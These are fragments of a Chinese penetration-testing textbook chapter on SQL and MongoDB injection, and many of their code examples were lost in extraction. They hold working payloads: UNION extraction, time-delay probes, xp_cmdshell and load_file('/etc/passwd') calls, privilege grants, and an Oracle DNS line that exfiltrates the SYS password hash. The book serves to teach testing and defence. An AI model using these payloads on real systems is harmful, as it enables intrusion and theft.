    {"text": "Oracle： ‘serv’||‘ices’ MS-SQL： ‘serv’+‘ices’ MySQL： ‘serv’ ‘ices’ [注意中间有空格] 如果注入数字数据，则可以使用下面的攻击字符串来识别数据库。"},
    {"text": "Oracle： BITAND(1,1)-BITAND(1,1) MS-SQL： PACK_RECEIVED-PACK_RECEIVED MySQL： CONNECTION_ID()-CONNECTION_ID() 注解 MS-SQL和Sybase数据库起源相同，因此它们在表结构、全局变量和存储过程方面存在许多相似之处。"},
    {"text": "如果一个注释以感叹号开头，接着是数据库版本字符串，那么只要数据库的实际版本等于或高于那个字符串，应用程序就会将注释内容解释为SQL；"},
    {"text": "例如，如果使用的MySQL版本高于或等于3.23.02，注入下面的字符串将使SELECT语句的WHERE子句为假： 9.2.5 UNION操作符 SQL使用UNION操作符将两个或几个SELECT语句的结果组合到独立一个结果中。 如果一个Web应用程序的SELECT语句存在SQL注入漏洞，通常可以使用UNION操作符执行另一次完全独立的查询，并将它的结果与第一次查询的结果组合在一起。"},
    {"text": "搜索由Wiley 出版的书籍将引起应用程序执行以下查询： 假设这个查询返回下面这组结果： 作 者 书 名 出版年份 Litchfield The Database Hacker's Handbook 2005 Anley The Shellcoder's Handbook 2007 前文已经介绍了攻击者是如何向搜索功能提交专门设计的输入、破坏查询中的WHERE子句、返回数据库中保存的所有书籍的。"},
    {"text": "例如，输入以下搜索项： 应用程序将执行以下查询： 这个查询返回最初的搜索结果，接着是用户表的内容： 作 者 书 名 出版年份 Litchfield The Database Hacker's Handbook 2005 Anley The Shellcoder's Handbook 2007 admin r00tr0x 0 cliff Reboot 1 注解 如果使用UNION操作符组合两个或几个SELECT查询的结果，那么组合结果的列名称与第一个SELECT查询的列名称完全相同。"},
    {"text": "但是，它们必须相互兼容，也就是说，第二个查询中的每种数据类型要么必须与第一个查询中的对应类型完全相同，要么必须隐含地转换到那个类型。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 攻击的首要任务是查明应用程序执行的最初查询所返回的列数。有两种方法可以完成这项任务。 （1）可以利用NULL被转换为任何数据类型这一事实，系统性地注入包含不同列数的查询，直到注入的查询得到执行，例如： ‘ UNION SELECT NULL-- ‘ UNION SELECT NULL, NULL-- ‘ UNION SELECT NULL, NULL, NULL-- 查询得到执行就说明使用了正确的列数。如果应用程序不返回数据库错误消息，仍然可以了解注入的查询是否成功执行，因为会收到另外一行数据，其中包含NULL或一个空字符串。注意，注入行可能只包含空单元格，因此不容易得知何时以HTML提交。出于这个原因，进行攻击的最好是查看行响应。 （2）确定所需的列数后，下一项任务就是找到一个使用字符串数据类型的列，以便通过它从数据库中提取出任意数据。和前面一样，可以通过注入一个包含NULL值的查询，并系统性地用a代替每个NULL，从而完成这项任务。例如，如果知道查询必须返回3列，可以注入以下查询： ‘ UNION SELECT ‘a’, NULL, NULL-- ‘ UNION SELECT NULL, ‘a’, NULL-- ‘ UNION SELECT NULL, NULL, ‘a’-- 如果注入的查询得到执行，将看到另一行包含a值的数据，然后就可以使用相关列从数据库中提取数据。 注解 在Oracle数据库中，每个SELECT语句必须包含一个FROM属性，因此，无论列数是否正确，注入UNION SELECT NULL将产生一个错误。可以选择使用全局可访问表（globally accessible table）DUAL来满足这一要求。例如： ‘ UNION SELECT NULL FROM DUAL-- 如果已经确定注入的查询所需的列数，并且已经找到一个使用字符串数据类型的列，就能够提取出任意数据。一个简单的概念验证测试是提取数据库的版本字符串，可以对任何数据库管理系统（DBMS）进行测试。例如，如果查询一共有3列，第一列可以提取字符串数据，可以在MS-SQL和MySQL中注入以下查询提取数据库版本： 对Oracle注入以下查询将得到相同的结果: 在前面介绍的易受攻击的图书搜索应用程序中，可以使用这个字符串作为搜索项来获得Oracle 数据库的版本： 作 者 书 名 出版年份 CORE 9.2.0.1.0 Production NLSRTL Version 9.2.0.1.0 - Production Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production PL/SQL Release 9.2.0.1.0 - Production TNS for 32-bit Windows: Version 9.2.0.1.0 - Production 当然，虽然数据库版本字符串值得我们注意，并且可帮助搜索特殊软件中的漏洞，但是，在多数情况下，我们仍然对从数据库中提取数据更感兴趣。要做到这一点，渗透测试员需要解除前面描述的第二个限制；也就是说，需要知道想要攻击的数据库表的名称以及相关列的名称。 9.2.6 提取有用的数据 为了从数据库中提取有用的数据，通常需要了解表以及包含预访问的数据所属列的名称。大型企业DBMS中包含大量数据库元数据，可以查询这些数据查明数据库中每一个表和列的名称。在各种情况下，提取有用数据所使用的方法完全相同；但是，在不同数据库平台上的应用细节各不相同。 9.2.7 使用UNION提取数据 下面我们将分析一个攻击，虽然该攻击针对的是MS-SQL数据库，但它采用的攻击方法适用于所有数据库技术。以用户维护联系人列表及查询和更新联系人信息的通讯录应用程序为例。如果用户在通讯录中搜索名为Matthew的联系人，浏览器将提交以下参数： 应用程序将返回以下结果： 人 名 电子邮件地址 Matthew Adamson handytrick@gmail.com"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/32/ 首先，我们需要确定请求的列数。对单一列进行测试导致了以下错误消息： 我们添加另一个NULL，并得到同样的错误。于是我们继续添加NULL，直到查询被执行，并在结果表中生成另一个数据项，如下所示： 人 名 电子邮件地址 Matthew Adamson handytrick@gmail.com [空] [空] 现在我们验证查询的第一列是否包含字符串数据： 人 名 电子邮件地址 Matthew Adamson handytrick@gmail.com [a] 接下来，需要查明可能包含有用信息的数据库表和列的名称。为此，我们需要查询元数据表information_schema.columns，其中包含数据库中的所有表和列名称的详细资料。使用以下请求可以检索上述信息： 人 名 电子邮件地址 Matthew Adamson handytrick@gmail.com shop_items Price shop_items Prodid shop_items Prodname addr_book Contactemail addr_book Contactname Users Username Users Password 从以上结果可以确定，很明显，我们可以从用户表开始提取数据。这时使用以下查询： 人 名 电子邮件地址 Matthew Adamson handytrick@gmail.com administrator fme69 dev uber marcus 8pinto smith twosixty jlo 6kdown 提示 MS-SQL、MySQL和许多其他数据库（包括SQLite 和Postgresql）均支持information_schema。它主要用于保存数据库元数据，这也使它成为探查数据库的攻击者的主要目标。需要注意的是，Oracle并不支持该方案。对Oracle数据库实施攻击时，攻击方法在其他各方面可能完全相同。但是，需要使用查询SELECTtable_name,column_name FROM all_tab_columns来检索有关数据库表和列的信息。（使用user_tab_columns表以仅针对当前数据库。）通常，在分析大型数据库以探查攻击目标时，最好是查找有用的列名称，而不是表。例如： 提示 如果目标表返回了多个列，则可以将这些列串连到单独一个列中，这样检索起来会更加方便，因为这时只需要在原始查询中确定一个varchar字段： Oracle： SELECT table_name||’:’||column_name FROM all_tab_columns MS-SQL： SELECT table_name+’:’+column_name from information_schema.columns MySQL： SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns 9.2.8 避开过滤 有时，易受SQL 注入攻击的应用程序可能会执行各种输入过滤以防止攻击者无限制地利用其中存在的缺陷。例如，应用程序可能会删除或净化某些字符，或阻止常用的SQL关键字。这种过滤通常非常容易避开，这时可尝试使用各种技巧。 1．避免使用被阻止的字符 如果应用程序删除或编码某些在SQL注入攻击中经常用到的字符，不使用这些字符仍然能够实施攻击。 如果要注入数字数据字段或列名称，不一定必须使用单引号。要在攻击有效载荷中插入字符串，不使用引号仍可以做到这一点。这时，可以通过各种字符串函数，使用每个字符的ASCII代码动态构建一个字符串。例如，下面两个查询分别用于Oracle和MS-SQL，它们等同于select ename,sal from emp where ename=‘marcus’： 如果注释符号被阻止，通常可以设计注入的数据，使其不会破坏周围查询的语法。例如，不用注入 可以注入 在MS-SQL数据库中注入批量查询时，不必使用分号分隔符。只要纠正所有批量查询的语法，无论你是否使用分号，查询解析器都会正确解释它们。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/71/ http://mdsec.net/addressbook/76/ 2．避免使用简单确认 一些输入确认机制使用一个简单的黑名单，阻止或删除任何出现在这个名单中的数据。在这种情况下，应该尝试使用标准的攻击方法，寻找确认和规范化机制中的常见缺陷（如第2章所述）。例如，如果SELECT关键字被阻止或删除，可以尝试使用以下输入： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/58/ http://mdsec.net/addressbook/62/ 3．使用 SQL 注释 与C++一样，我们也可以在SQL语句中插入行内注释，注释内容包含在/ * 与 * /符号之间。如果应用程序阻止或删除输入中的空格，可以使用注释“冒充”注入数据中的空白符。例如： 在MySQL中，注释甚至可以插入关键字中，这种方法可避开某些输入确认过滤，同时保留查询中的语法。例如： 4．利用有缺陷的过滤 输入确认机制通常包含逻辑缺陷，可对这些缺陷加以利用，使被阻止的输入避开过滤。多数情况下，这类攻击会利用应用程序在对多个确认步骤进行排序，或未能以递归方式应用净化逻辑方面的缺陷。我们将在第11章介绍这类攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/67/ 9.2.9 二阶SQL注入 一种特别有益的避开过滤的方法与二阶SQL注入（second-order SQL injection）有关。当数据首次插入数据库中时，许多应用程序能够安全处理这些数据。但是，一旦数据存储在数据库中，随后应用程序本身或其他后端进程可能会以危险的方式处理这些数据。许多这类应用程序并不像面向因特网的主要应用程序一样安全，但却拥有较高权限的数据库账户。 在一些应用程序中，用户输入在到达时通过转义单引号来进行确认。在前面搜索书籍的示例中，这种方法明显有效。当用户输入搜索项O'Reilly时，应用程序执行以下查询： 在这个查询中，用户提交的单引号被转换为两个单引号，因而传送给数据库的搜索项与用户最初输入的表达式具有相同的字符含义。 与单引号配对方法有关的问题出现在更复杂的情形中，此时同一个数据项被提交给几个SQL查询，然后写入数据库被几次读取。这是证明简单输入确认相对于边界确认存在不足的一个示例，如第2章所述。 回到前面那个允许用户自我注册并且在一个INSERT语句中存在SQL注入漏洞的应用程序。假设开发者将修复出现在用户数据中的所有单引号配对导致的漏洞。注册用户名foo'来建立如下查询，它不会在数据库中造成问题： 目前为止一切正常。然而，假设应用程序还执行密码修改功能，那么只有通过验证的用户才能够访问这项功能，而且为了加强保护，应用程序要求用户提交原始密码。然后应用程序从数据库中提取用户的当前密码，并对两个字符串进行比较，核对用户提供的密码是否正确。要完成核对任务，它首先要从数据库提取用户的用户名，然后建立如下查询： 因为保存在数据库中的用户名是字面量字符串foo'，当应用程序提出访问要求时，数据库即返回这个值；只有在字符串被传送给数据库时才使用配对的转义序列。因此，当应用程序重复使用这个字符串并将它嵌入到另一个查询中时，就会造成一个SQL注入漏洞，用户最初的恶意输入就被嵌入到查询中。当用户尝试修改密码时，应用程序返回以下消息，暴露了上述缺陷： 要利用这种漏洞，攻击者只需注册一个包含专门设计的输入用户名，然后尝试修改密码。例如，如果注册如下用户名： 注册步骤将会被应用程序安全处理。如果攻击者尝试修改密码，他注入的查询就会执行，导致生成以下消息，泄露管理员的密码： 攻击者已经成功避开旨在阻止SQL注入攻击的输入确认，现在他能够在数据库中执行任意查询并获得查询结果。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问： http://mdsec.net/addressbook/107/ 9.2.10 高级利用 到现在为止，我们描述的所有攻击中，有一些现成的方法可帮助从数据库中提取有用的数据，例如，通过执行UNION攻击或在错误消息中返回数据。"},
    {"text": "一些攻击可能更具破坏性，例如，仅仅提交12个字符的输入，攻击者就能够使用关闭命令（shutdown）关闭一个MS-SQL数据库。 攻击者还可以注入恶意命令，如下面这些命令可删除一些数据库表： 1．获取数字数据 如果包含单引号的输入得到正确处理，那么应用程序中的字符串字段就不易受SQL注入攻击。"},
    {"text": "这时攻击者只有通过应用程序的数值响应（numeric response），才能获得注入查询的结果。 在这种情况下，攻击者需要做的是获取数字形式的有用数据，对注入查询的结果进行处理。"},
    {"text": "例如： SUBSTRING(‘Admin’,1,1)返回A ASCII(‘A’)返回65 因此 ASCII(SUBSTR(‘Admin’,1,1))返回65 使用这两个函数，可以系统地将一个有用数据的字符串分割成单个的字符，并以数字形式分别返回每一个字符。"},
    {"text": "在这种情况下，攻击者可以先获得标识符在相关数字范围内的每一份文档的备份，然后在文档内容与标识符之间建立映射。 接下来，当实施前面描述的攻击时，攻击者就可以参考这个映射确定应用程序返回的每个文档的标识符，因而得到他们成功提取的字符的ASCII值。"},
    {"text": "回到那个易受攻击的登录表单，它的用户名和密码字段易于遭受SQL注入： 除了修改查询逻辑以避开登录外，还可以注入一个完全独立的子查询，使用字符串连接符把这个子查询的结果与控制的数据项连接起来。"},
    {"text": "批量查询特别有用，因为它们允许执行一个完全独立的语句，在这个过程中，渗透测试员拥有全部的控制权，可以使用另外的SQL语句并针对不同的表进行查询。"},
    {"text": "能够在数据库中执行任意SQL语句后，渗透测试员往往可以利用数据库的一些内置功能在数据库与自己的计算机之间建立网络连接，通过它传送从数据库中收集到的任何数据。"},
    {"text": "例如，下面的查询可使目标数据库与攻击者的数据库建立连接， 并将目标数据库的版本字符串插入表foo中： 注意，可以指定端口80，或者任何其他可能的值，以提高穿透防火墙建立外部连接的可能性。"},
    {"text": "攻击者能够利用这个包查找选择的主机名，将它作为子域放在他们控制的一个域名前面，以此迅速获得任意数据，例如： 它向包含SYS用户的密码散列（password hash）的mdattacker.net名称服务器发出下面这个DNS查询： UTL_SMTP包可用于发送电子邮件。"},
    {"text": "只需研究一下Oracle 11g中提供的新功能，就可以轻松避开该ACL，使用以下代码即可实现： SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE NAME=‘SYS’)||‘.mdsec.net’,80) MySQL SELECT…INTO OUTFILE命令可将任意一个查询的输出指向一个文件。"},
    {"text": "可以使用一个嗅探器确定目标服务器是否与指定计算机建立了入站连接（inbound connection），如果连接已经建立，参考服务器文档资料确保它得到正确配置。"},
    {"text": "回到那个可注入用户名和密码字段以执行任意查询的登录功能： 假设还没有找到将注入查询的结果返回给浏览器的方法，但我们已经知道如何使用SQL注入改变应用程序的行为。"},
    {"text": "例如，提交下面这段输入将允许攻击者以管理员身份登录，因为经测试条件为真： 但是，提交下面的输入，登录不会取得成功，因为经测试条件为假： 提交大量这类查询，循环每个字符的所有可能的ASCII编码，直到出现一个“触点”，就能够以每次一个字节的速度，提取出整个字符串。"},
    {"text": "如果发生数据库错误，可以通过HTTP500响应码，或者通过某种错误消息或反常行为（即使错误消息本身并未揭示任何有用的信息），从外部探测到这个错误。"},
    {"text": "用户控制着department和sort参数： 以上代码出现在以下后端查询中，该查询确定了department参数的值，但将sort参数连接到查询中： 攻击者无法修改WHERE子句或在ORDER BY子句后进行UNION查询，但攻击者可以通过以下语句建立某种推断条件： 如果user_objects表中的第一个对象名称的第一个字母等于‘Y’，将导致数据库尝试对1/0求值，这会导致错误，整个查询不会返回任何结果。"},
    {"text": "有些情况下，可以注入一个不会在浏览器中显示结果的查询，但由于无法建立带外通道，即使它在数据库中引发错误，也并不会给应用程序的行为造成任何影响。"},
    {"text": "他们发现一种方法，设计出一个根据攻击者指定的条件造成时间延迟的查询。 攻击者可以提交他设计的查询，然后监控服务器做出响应所花的时间。 如果发生延迟，攻击者可推断条件为真。 即使在两种情况下应用程序的响应完全相同，攻击者仍然可根据是否存在时间延迟从数据库中提取一比特数据。"},
    {"text": "例如，以下查询测试被截获数据的第一字节的第一比特，如果其值为1，终止查询： 下面的查询对第二比特执行相同的测试： 如前所述，这种引发时间延迟方法的准确性在很大程度上取决于所使用的数据库。"},
    {"text": "在当前版本的My-SQL中，睡眠函数可创建指定时间的时间延迟，例如： 在5.0.12版本之前的MySQL中，不能使用睡眠函数，但可以使用基准函数（benchmark function）重复执行一个特定的操作。"},
    {"text": "例如，如果默认的Oracle账户DBSNMP存在，下面的查询将会造成一次超时： 如前所述，在Oracle和MySQL数据库中，都可以使用SUBSTR(ING)和ASCII函数每次一字节地获取任意信息。"},
    {"text": "在一些完全盲目的SQL注入攻击中，浏览器中不会显示查询结果，所有错误都被应用程序以隐含的方式处理，使用提交专门设计的输入的标准技巧可能很难检测出漏洞。"},
    {"text": "例如，如果后端数据库为MS-SQL，那么可以将下面的两个字符串轮流注入每个请求参数中，并监控应用程序响应请求所用的时间，从而确定所有漏洞： ‘; waitfor delay ‘0:30:0’-- 1; waitfor delay ‘0:30:0’--"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 本实验示例包含一个不会返回任何错误反馈的SQL注入漏洞，可使用它练习各种高级技巧，包括条件式响应和时间延迟。"},
    {"text": "然而，许多原因表明，利用数据库中的漏洞，或者控制它的一些内置功能以达到目的，从而进一步实施攻击，可能会取得更大的成效。 通过扩大数据库攻击范围可实施的其他攻击如下。 如果数据库被其他应用程序共享，可以通过提升数据库的使用权限访问其他应用程序的数据。 可以攻破数据库服务器的操作系统。 可以访问其他系统。"},
    {"text": "通常，数据库服务器是一个在几层网络边界防御保护下的网络中的主机。 如果能够控制数据库服务器，攻击者就处在一个可信的位置上，可以访问其他主机上的关键服务，进一步对其加以利用。"},
    {"text": "例如，可以使用sp_configure存储过程重新启用被禁用的xp_cmdshell。 以下4行SQL代码用于实现这一目的： 这样，xp_cmdshell就被重新启用，并可以通过以下命令运行： 2．Oracle 人们已在Oracle数据库软件中发现了大量安全漏洞。"},
    {"text": "攻击者可以利用这个缺陷，在易受攻击的字段中注入grant DBA to public查询来提升权限。 这种类型的攻击可通过利用Web应用程序中的SQL注入漏洞，在易受攻击的参数中注入函数来实现。"},
    {"text": "该攻击首先利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY中的缺陷授予当前用户java.io.filepermission权限，然后使用DBMS_JAVA.RUNJAVA 执行运行操作系统命令的Java 类（oracle/aurora/util/Wrapper）。"},
    {"text": "例如： 请访问以下链接了解相关详情： www.databasesecurity.com/HackingAurora.gdf www.notsosecure.com/folder2/2010/08/02blackhat-2010/ 3．MySQL 与前面讨论的其他数据库相比，MySQL中包含的可被攻击者滥用的内置功能相对较少。"},
    {"text": "它们还使用各种优化技巧，并利用各种数据库中的诸多功能和内置函数，以减少基于推测的蛮力攻击所需提交的查询数，避开可能对单引号实施的过滤，等等。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 使用本章前面部分介绍的技巧确定某个SQL注入漏洞后，可以考虑使用SQL注入工具来利用该漏洞，并从数据库中检索有用的数据。"},
    {"text": "（2）由于这些工具通常依赖预先设置的测试和特定的响应语法，因此，攻击者可能需要将数据附加或前置到这些工具注入的字符串中，以确保获得预期的响应。"},
    {"text": "下面的示例前置[input]之前的文本，并附加该位置之后的闭括号： Oracle： ’||(select 1 from dual where 1=[input]) MS-SQL： (select 1 where 1=[input]) 有大量工具可用于实施自动SQL注入攻击。"},
    {"text": "1．SQL语法 要 求 ASCII和SUBSTRING Oracle ASCII('A')等于65 SUBSTR('ABCDE',2,3)等于BCD MS-SQL ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD MySQL ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD 要 求 获取当前数据库用户 Oracle Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV','SESSION_USER') MS-SQL select suser_sname() MySQL SELECT user() 要 求 引起时间延迟 Oracle Utl_Http.request('http://madeupserver.com') MS-SQL waitfor delay '0:0:10' exec master..xp_cmdshell 'ping localhost' MySQL sleep(100) 要 求 获取数据库版本字符串 Oracle select banner from v$version MS-SQL select version MySQL select version 要 求 获取当前数据库 Oracle SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual MS-SQL select db_name() 获取服务器名称可使用： select servername MySQL Select database() 要 求 获取当前用户的权限 Oracle SELECT privilege FROM session_privs MS-SQL SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES MySQL SELECT * FROM information_schema.user_privileges WHERE grantee = '[user]'此处[user]由SELECT user()的输入决定 要 求 在一个单独的结果列中显示所有表和列 Oracle Select table_name||' '||column_name from all_tab_columns MS-SQL SELECT table_name+' ',column_name from information_schema.columns MySQL SELECT CONCAT(table_name+' ',column_name) from information_schema.columns 要 求 显示用户对象 Oracle Select object_name, object_type from user_objects MS-SQL SELECT name FROM sysobjects MySQL SELECT table_name FROM information_schema.tables（或trigger_name from information_schema.triggers等） 要 求 显示用户表 Oracle Select object_name, object_type from user_objectsWHEREobject_type='TABLE' 或者显示用户访问的所有表：SELECT table_name FROM all_tables MS-SQL SELECT name FROM sysobjectsWHERExtype='U' MySQL SELECT table_name FROM information_schema.tables where table_type='BASE TABLE' and table_schema!='mysq1' 要 求 显示表foo的列名称 Oracle Select column_name, Name from user_tab_columns where table_name = 'FOO'如果目标数据不为当前应用程序用户所有，使用ALL_table_columns表 MS-SQL SELECT column_name, FROM information_schema.columns WHERE table_name='foo' MySQL SELECT column_name FROM information_schema.columns WHERE table_name='foo' 要 求 与操作系统交互（最简单的方式） Oracle 请参阅David Litchfield所著的 The Oracle Hacker's Handbook 一书 MS-SQL exec xp_cmshell 'dir c:\\' MySQL select load_file('/etc/passwd'） 2．SQL错误消息 Oracle ORA-01756: quoted string not properly terminated ORA-00933:SQLcommand not properly ended MS-SQL Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'foo Msg 105, Level 15, State 1, Line 1 Unclosed quotation mark before the character string 'foo MySQL You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''foo' at line X 原因 对Oracle和MS-SQL而言，SQL注入确实存在，并且几乎肯定可以加以利用。"},
    {"text": "如果输入一个单引号，它改变数据库查询的语法，这是预料之中的错误 对MySQL而言，SQL注入可能存在，但相同的错误消息可能出现在其他情况下 Oracle PLS-00306: wrong number or types of arguments in call to 'XXX' MS-SQL Procedure 'XXX' expects parameter '@YYY', which was not supplied MySQL N/A 原因 已经注释掉或删掉一个通常会提交给数据库的变量。"},
    {"text": "在MS-SQL中，应该可以使用时间延迟 枚举获得任意数据 Oracle ORA-01789: query block has incorrect number of result columns MS-SQL Msg 205, Level 16, State 1, Line 1 All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. MySQL The used SELECT statements have a different number of columns 原因 当试图实施UNION SELECT攻击时，就会看到这个错误消息； 攻击者指定了一个与原始 SELECT语句不同的列数 Oracle ORA-01790: expression must have same datatype as corresponding expression MS-SQL Msg 245, Level 16, State 1, Line 1 Syntax error converting the varchar value 'foo' to a column of data type int. MySQL （在MySQL中不会造成任何错误） 原因 当试图实施UNION SELECT攻击时，就会看到这个错误消息；"},
    {"text": "尝试使用NULL，或者使用1或2000 Oracle ORA-01722: invalid number ORA-01858: a non-numeric character was found where a numeric was expected MS-SQL Msg 245, Level 16, State 1, Line 1 Syntax error converting the varchar value 'foo' to a column of data type int. MySQL （在MySQL中不会造成任何错误） 原因 输入与字段中需要的数据类型不匹配。 可能存在SQL注入漏洞，可能不需要一个单引号，因 此尝试输入一个数字，后接注入的SQL查询 在MS-SQL中，应该可以利用这条错误消息返回任何字符串 Oracle ORA-00923: FROM keyword not found where expected MS-SQL N/A MySQL N/A 原因 下面的语句可在MS-SQL中运行： SELECT 1 但在Oracle中，如果想要返回任何内容，必须从一个表中选择。 使用DUAL表即可： SELECT 1 from DUAL Oracle ORA-00936: missing expression MS-SQL Msg 156, Level 15, State 1, Line 1 Incorrect syntax near the keyword 'from'. MySQL You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ' XXX , YYY from SOME_TABLE' at line 1 原因 当注入点出现在FROM关键字之前（例如，注入了将要返回的列）或使用注释符号删除了不可 缺少的SQL关键字时，常常会看到这条错误消息 尝试使用注释字符结束SQL语句 当遇到这种条件时，MySQL可以揭示列名XXX, YYY Oracle ORA-00972: identifier is too long MS-SQL String or binary data would be truncated. MySQL N/A 原因 这条错误消息并不表示存在SQL注入漏洞。"},
    {"text": "也不可能遇到缓冲区溢出，因为数据库正在安全地处理输入 Oracle ORA-00942: table or view does not exist MS-SQL Msg 208, Level 16, State 1, Line 1 Invalid object name 'foo' MySQL Table 'DBNAME.SOMETABLE' doesn't exist 原因 要么是因为正试图访问一个不存在的表或视图，要么在Oracle中，数据库用户并不拥有访问 该表或视图的权限。"},
    {"text": "对一个已知能够访问的表（如DUAL表）测试查询 当遇到这种条件时，MySQL应可以揭示当前的数据库模式DBNAME Oracle ORA-00920: invalid relational operator MS-SQL Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near foo MySQL You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 原因 可能更改了WHERE子句的内容，SQL注入试图使语法中断 Oracle ORA-00907: missing right parenthesis MS-SQL N/A MySQL You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 原因 SQL注入生效，但注入点在圆括号内。 可能是由于用注入的注释字符（--）把结尾的圆括号 当做注释处理了 Oracle ORA-00900: invalid SQL statement MS-SQL Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near foo MySQL You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near XXXXXX 原因 一条常规错误消息。"},
    {"text": "可以尝试另一种输入，以获得一条提供更多信息的消息 Oracle ORA-03001: unimplemented feature MS-SQL N/A MySQL N/A 原因 执行了一个Oracle禁止的操作。 如果位于UPDATE或INSERT查询中，但却试图从v$version 显示数据库版本字符串，就会出现这条消息 Oracle ORA-02030: can only select from fixed tables/views MS-SQL N/A MySQL N/A 原因 可能试图编辑一个SYSTEM视图。"},
    {"text": "如果位于UPDATE或INSERT查询中，但却试图从 v$version显示数据库版本字符串，就会出现这条消息 9.2.14 防止SQL注入 尽管其表现形式和利用手段的复杂程度各不相同，但通常而言，SQL注入仍然是最容易防御的漏洞之一。"},
    {"text": "1．部分有效的防御措施 由于单引号在SQL注入漏洞中占有突出地位，防御这种攻击的一种常用方法，就是将用户输入中的任何单引号配对，对它们进行转义。"},
    {"text": "在存储过程中构建SQL语句时也可能出现类似的安全问题，使用存储过程也无法防 止漏洞产生。 即使使用安全可靠的存储过程，但如果使用用户提交的输入以不安全的方式调用这个存储过程，也仍然可能出现SQL注入漏洞。"},
    {"text": "实际上，功能复杂的大型应用程序需要执行成千上万条不同的SQL语句，许多开发者认为，使用存储过程重复执行这些语句是对开发时间的不合理利用。"},
    {"text": "2．参数化查询 大多数数据库和应用程序开发平台都提供API，对不可信的输入进行安全处理，以防止SQL注入漏洞。 参数化查询（也叫预处理语句）分两个步骤建立一个包含用户输入的SQL语句。"},
    {"text": "在第一段代码中，用户提交的name参数被直接嵌入到一个SQL语句中，致使应用程序易于受到SQL注入： 第二段代码使用一个问号作为用户提交参数的占位符，以确定查询的结构。"},
    {"text": "应在每一个数据库查询中使用参数化查询。 我们发现，在开发应用程序的过程中，对于每一个查询，开发者都要判断是否使用参数化查询。 如果明显要应用用户提交的输入，就使用参数化查询；"},
    {"text": "当遇到这种情况时，最好使用一份由已知可靠的值组成的“白名单”（即数据库实际使用的表和列名单），并拒绝任何与这份名单上的数据不匹配的输入项。"},
    {"text": "例如，如果90%的数据库查询只需要读取访问，就可以使用一个并不具有写入权限的账户执行这些查询。 如果某个查询只需要读取一部分数据（例如，读取订单表而不是用户账户表），这时就可以使用一个拥有相应访问权限的账户。"},
    {"text": "即使有时候技术熟练、蓄意破坏的攻击者能够通过其他方法重新建立一些必需的功能，但做到这一点通常需要复杂的操作，而且数据库实施的强化措施也会给攻击者造成难以逾越的障碍。"},
    {"text": "在注重安全的情况下，数据库管理员可以使用各种预订服务（subscriber-based service）提前了解一些供应商尚未公布补丁的已知漏洞，及时采取适当的防御措施。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 9.3 注入NoSQL 术语NoSQL用于指各种不同于标准的关系数据库体系架构的数据存储区。NoSQL数据存储区呈现使用键/值映射的数据，并且不依赖于固定的方案，如传统的数据库表。键和值可以任意定义，而且值的格式通常与数据存储区无关。键/值存储的另一个特点在于，值可能为数据结构本身，因而可以实现层次化存储，这与数据库方案中的平面数据结构不同。 支持上述数据存储的NoSQL具有各方面的优势，这些优势主要体现在处理庞大的数据集方面，以便于根据需要对数据存储区中的层次化数据进行优化，以减少检索数据集的开销。在这些情况下，传统的数据库可能需要对表进行复杂的交叉引用，才能代表应用程序检索信息。 从Web应用程序安全的角度看，我们主要关注应用程序如何查询数据，因为这决定了攻击者可以进行何种形式的注入。就SQL注入而言，不同数据库产品采用的SQL语言大体相似。相反，NoSQL代表着一类全新的数据存储区，它们的行为各不相同。而且，它们并非全都使用单一的查询语言。 以下是NoSQL数据存储区采用的一些常用的查询方法： 键/值查询； XPath（将在本章后面部分介绍）； 编程语言（如JavaScript）。 NoSQL是一种快速发展的相对较新的技术。与SQL等比较成熟的技术不同，它并没有进行大规模地部署。因此，对于NoSQL相关漏洞的研究仍处于早期阶段。此外，由于许多NoSQL技术访问数据的方式十分简单，讨论注入NoSQL数据存储区的示例有时明显是虚构的。 几乎可以肯定的是，当前和将来的Web应用程序使用NoSQL数据存储区的方式将存在可被利用的漏洞。我们将在下一节中讨论一个这样的示例，该示例源于真实的应用程序。 注入MongoDB 许多NoSQL数据库利用现有的编程语言来提供灵活、可编程的查询机制。如果使用字符串连接构建查询，攻击者就可以尝试破坏数据并更改查询的语法。以下面的查询为例，它基于MongoDB数据存储区中的用户记录进行登录： $js是一个JavaScript函数，其代码是动态构建的，并且包含用户提交的用户名和密码。攻击者可以通过提供以下用户名和任意密码来避开验证逻辑： 生成的JavaScript函数如下所示： 注解 在JavaScript中，双正斜杠（//）表示行尾注释，因此，函数中的剩余代码将被注释掉。 另一种不使用注释而确保$js函数始终返回“真”的方法，是提供以下用户名： JavaScript以如下方式解释各种运算符： 这将匹配用户集合中的所有资源，因为第一个选择性条件始终为真（1始终等于1）。 黑客攻防技术宝典：Web实战篇（第2版） 9.4 注入XPath 